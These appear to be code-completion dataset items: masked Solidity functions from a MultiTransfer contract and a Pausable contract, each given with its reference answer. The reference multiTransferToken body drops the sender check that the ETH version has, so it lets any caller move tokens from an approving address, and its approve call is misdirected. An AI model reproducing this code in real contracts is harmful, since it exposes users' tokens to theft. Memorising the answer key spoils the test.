contract MultiTransfer { event Deposited(address from, uint value, bytes data); event Transacted( address msgSender, // 트랜잭션을 시작한 메시지의 발신자 주소 address toAddress, // 트랜잭션이 전송된 주소 uint value // 주소로 보낸 Wei 금액 ); /** * 메서드를 호출하지 않고 트랜잭션을 받으면 호출됩니다. */ function() public payable { if (msg.value > 0) { emit Deposited(msg.sender, msg.value, msg.data); } } /** * @param toAddress1 대상 주소 * @param toAddress2 대상 주소 * @param value1 전송할 웨이의 양 * @param value2 전송할 웨이의 양 */ function multiTransferETH( address fromAddress, address toAddress1, address toAddress2, uint value1, uint value2 ) public payable { if (msg.sender != fromAddress) { revert(); } if (msg.value != value1 + value2) { revert(); } toAddress1.transfer(value1); toAddress2.transfer(value2); emit Transacted(msg.sender, toAddress1, value1); emit Transacted(msg.sender, toAddress2, value2); } /** * @param toAddress1 대상 주소 * @param toAddress2 대상 주소 * @param value1 전송할 웨이의 양 * @param value2 전송할 웨이의 양 * @param tokenContractAddress erc20 토큰 계약의 주소 */ function multiTransferToken( address fromAddress, address toAddress1, address toAddress2, uint value1, uint value2, address tokenContractAddress ) public payable {<FILL_FUNCTION_BODY> } }
contract MultiTransfer { event Deposited(address from, uint value, bytes data); event Transacted( address msgSender, // 트랜잭션을 시작한 메시지의 발신자 주소 address toAddress, // 트랜잭션이 전송된 주소 uint value // 주소로 보낸 Wei 금액 ); /** * 메서드를 호출하지 않고 트랜잭션을 받으면 호출됩니다. */ function() public payable { if (msg.value > 0) { emit Deposited(msg.sender, msg.value, msg.data); } } /** * @param toAddress1 대상 주소 * @param toAddress2 대상 주소 * @param value1 전송할 웨이의 양 * @param value2 전송할 웨이의 양 */ function multiTransferETH( address fromAddress, address toAddress1, address toAddress2, uint value1, uint value2 ) public payable { if (msg.sender != fromAddress) { revert(); } if (msg.value != value1 + value2) { revert(); } toAddress1.transfer(value1); toAddress2.transfer(value2); emit Transacted(msg.sender, toAddress1, value1); emit Transacted(msg.sender, toAddress2, value2); } <FILL_FUNCTION> }
ERC20Interface instance = ERC20Interface(tokenContractAddress); instance.approve(fromAddress, value1 + value2); // 토큰 전송 허가 instance.transferFrom(fromAddress, toAddress1, value1); instance.transferFrom(fromAddress, toAddress2, value2); emit Transacted(fromAddress, toAddress1, value1); emit Transacted(fromAddress, toAddress2, value2);
function multiTransferToken( address fromAddress, address toAddress1, address toAddress2, uint value1, uint value2, address tokenContractAddress ) public payable
/** * @param toAddress1 대상 주소 * @param toAddress2 대상 주소 * @param value1 전송할 웨이의 양 * @param value2 전송할 웨이의 양 * @param tokenContractAddress erc20 토큰 계약의 주소 */ function multiTransferToken( address fromAddress, address toAddress1, address toAddress2, uint value1, uint value2, address tokenContractAddress ) public payable
62036
Pausable
unpause
contract Pausable is OwnableToken { bool public paused = false; event Pause(); event Unpause(); modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() external onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() external onlyOwner whenPaused {<FILL_FUNCTION_BODY> } }
contract Pausable is OwnableToken { bool public paused = false; event Pause(); event Unpause(); modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() external onlyOwner whenNotPaused { paused = true; emit Pause(); } <FILL_FUNCTION> }
paused = false; emit Unpause();
function unpause() external onlyOwner whenPaused
function unpause() external onlyOwner whenPaused